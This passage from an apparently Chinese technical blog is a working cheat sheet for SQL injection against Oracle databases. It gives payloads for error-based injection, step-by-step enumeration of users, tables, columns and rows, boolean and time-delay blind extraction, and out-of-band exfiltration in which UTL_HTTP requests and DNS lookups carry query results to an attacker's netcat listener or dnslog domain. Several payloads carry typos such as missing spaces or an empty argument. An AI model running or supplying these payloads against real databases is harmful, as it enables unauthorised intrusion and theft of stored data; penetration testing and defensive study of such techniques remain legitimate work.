Oracle SQL注入的实例总结


当前第2页 返回上一页

说明:这种方法在 Oracle 8g,9g,10g中不需要任何权限,但是在** Oracle 11g及以后的版本中** ,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限

报错方法:获取ip地址,其参数如果解析不了会报错,显示传递的参数。如果其参数是一个SQL语句,那么报错就会把结果给显示出来。

payload:

and utl_inaddr.get_host_name((select user from dual))=1--

其他常用显错函数

函数名 payload
dbms_xdb_version.makeversioned() and (select dbms_xdb_version.makeversioned ((select user from dual)) from dual) is not null--
dbms_utility.sqlid_to_sqlhash() and (select dbms_utility.sqlid_to_sqlhash ((select user from dual)) from dual) is not null--
ordsys.ord_dicom.getmappingxpath() and select ordsys.ord_dicom.getmappingxpath ((select user from dual),user,user) =1--
ctxsys.drithsx.sn() and (select ctxsys.drithsx.sn ((select user from dual)) from dual) =1--

Oracle error 注入基本流程

**1.判断是否存在注入** 
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'

2.**查询数据库版本、数据库连接用户、当前实例名** 
id=1 and dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select SYS_CONTEXT('USERENV','CURRENT_USER') from dual)) is not null--
id=1 and dbms_xdb_version.checkin((select instance_name from v$instance)) is not null--

2.**遍历获取数据库名** 
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1 and owner not in ('SYS'))) is not null--

3.**遍历获取表名** 
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1 and table_name not in ('ADMIN1','DEMO'))) is not null--

**4.遍历获取字段名** 
id=1 and dbms_xdb_version.checkin((select column_name from user_tab_columns where rownum=1 and table_name='FLAG' AND column_name not in ('id','name','pwd','flag'))) is not null--

5.**查询表字段数据** 
id=1 and dbms_xdb_version.checkin((select NAME||AGE FROM DEMO where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select "name"||"age" FROM DEMO where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select 'username:'||NAME||'age:'||AGE FROM DEMO where rownum=1)) is not null--

bool盲注

bool盲注相关函数

decode() ** 函数**

用法 :decode(条件,值1,翻译值1,值2,翻译值2… 值n, 翻译值n,缺省值)

含义 :if(条件 == 值1) -> 返回翻译值1,否则返回默认值

举例 :查询 Oracle版本,判断版本的字符串第一个字符是否是O

Payload :

and1=(select decode(substr((select banner from sys.v_$Version where rownum=1),1,1), 'O', 1, 0) from dual--

说明 :其中 select语句可以替换,如:

获取当前用户: selectuser from dual;

获取字符长度: select length(user) from dual;

instr() ** 函数**

用法 :instr( string1, string2 ) / instr(源字符串,目标字符)

含义 :搜索指定的字符返回发现指定的字符的位置, string1是被搜索的字符串, string2是希望搜索的字符串

注入思路 : instr会返回'SQL'位置数据在査询结果中的位置,未找到便返回0,可通过对‘SQL′位置进行遍历和迭代,获取到数据

举例 :查询当前的用户,判断用户名第一个字符是否是T

Payload :

and1=(instr((select user from dual),'T'))--

Oracle bool盲注基本流程

**1.判断注入** 
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'

2.**查询数据库版本/用户** 
decode decode(substr(('abc'),1,1),'a',1,0)
length 返回字符串长度
ascii  返回字符的ascii码
instr  搜索指定结果内是否包含关键字 存在返回1 否则返回0
id=1 and 1=(select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'O',1,0) from dual)--
id=1 and (select length(user) from dual)=4-- 
id=1 and (select ascii('a') from dual)=97-- 
id=1 and (select ascii(substr((select user from dual),1,1)) from dual)=84-- #ascii码判断字符 T
id=1 and (select ascii(substr((select user from dual),2,1)) from dual)=69-- #ascii码判断字符 E

id=1 and 1=(instr((select user from dual),'T'))--
id=1 and 1=(instr((select user from dual),'TE'))--
id=1 and 1=(instr((select user from dual),'TES'))--
id=1 and 1=(instr((select user from dual),'TEST'))--

**3.获取库名** 
id=1 and (select length(owner) from all_tables where rownum=1)=3-- #第一个库名长度为3
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),1,1)) from dual)=83--
#ascii为83 S
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),2,1)) from dual)=89--
#ascii为89 Y
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),3,1)) from dual)=83--
#ascii为83 S

**4.获取表名** 
id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),1,1)) from dual)=105-- 第一个表名的第一个字符是i
id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),2,1)) from dual)=99-- 第一个表名的第二个字符是c

**5.获取字段名** 
id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='icq'),1,1)) from dual)=117-- icq表内的第一个字段的第一个字符u
id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='icq'),2,1)) from dual)=115-- icq表内的第一个字段的第二个字符s

time 盲注

time盲注相关函数

DBMS_PIPE.RECEIVE_MESSAGE() ** 函数**

用法 :DBMS_PIPE.RECEIVE_MESSAGE(' 任意值 ', 延迟时间 )

举例 :DBMS_PIPE.RECEIVE_MESSAGE('ICQ',5) 表示从ICQ管道返回的数据需要等待5秒

payload :

and DBMS_PIPE.RECEIVE_MESSAGE('ICQ',5)=1

常用payload

id=1 and dbms_pipe.receive_message((), 5)=1
id=1 and (select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'O', dbms_pipe.receive_message('ICQ', 5),0) from dual)=1--
截取数据库版本第一个字符为O就延时5s
id=1 and (select decode(length(user),4,dbms_pipe.receive_message('ICQ', 5),0) from dual)=1--
用户名长度为4 就延时5s

带外注入

Oracle带外注入

Oracle的带外注入和 DNSLOG很相似,需要使用网络请求的函数 进行注入利用,其中可以进行网络请求的函数如下等

带外注入相关函数

utl_http.request() ** 函数**

函数说明 :在Oracle中提供了utlhttprequest函数,用于取得web服务器的请求信息,因此,攻击者可以自己监听端口,然后通过这个函数用请求将需要的数据发送反弹回头

UTL_HTTP包介绍 :提供了对HTTP的一些操作。

举例 :执行这条SQL语句,将返回 baidu. com的HTML源码

select UTL_HTTP.REQUEST('http://www.baidu.com') from dual

utl_inaddr.get_host_address() 函数

常用payload :

and (selectutl_inaddr.get_host_address((select user from dual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --

SYS.DBMS_LDAP.INIT()

常用payload :

and (select SYS.DBMS_LDAP.INIT((select userfrom dual)||'.aaaa.com(自己搭建dnslog)') from dual)is notnull --

带外注入过程

判断 UTL_HTTP存储过程是否可用在注入点提交如下查询:

select count(*) from allobjects where object name='UTL_HTTP'

通过页面回显判断UTL_HTTP是否可用,如果页面返回正常,则说明UTL_HTTP存储过程可用使用NC监听数据

在本地用nc监听一个端口,要求本地主机拥有一个外网的ip地址

nc-lvvp监听端口

反弹数据信息在注入点提交:

# 发送请求,获得当前用户名
id=1 and UTL_HTTP.request('http://ip:监听端口/'||(select user from dual))=1--

即可实现注入攻击

注意:每次在注入点提交一次请求,nc监听完后就会断开,需要重新启动nc监听

常用payload

# 判断utl_http是否可用
id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')--
id=1 and (select count(*) from all_objects where object_name='UTL_HTTP')>1--
id=1 union select 1,null,3,(select count(*) from all_objects where object_name='UTL_HTTP') from dual-- 

# 发送请求,获得当前用户名
id=1 and UTL_HTTP.request('http://ip:监听端口/'||(select user from dual))=1--

总结

到此这篇关于Oracle SQL注入的文章就介绍到这了,更多相关Oracle SQL注入内容请搜索

更多SQL内容来自木庄网络博客


打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...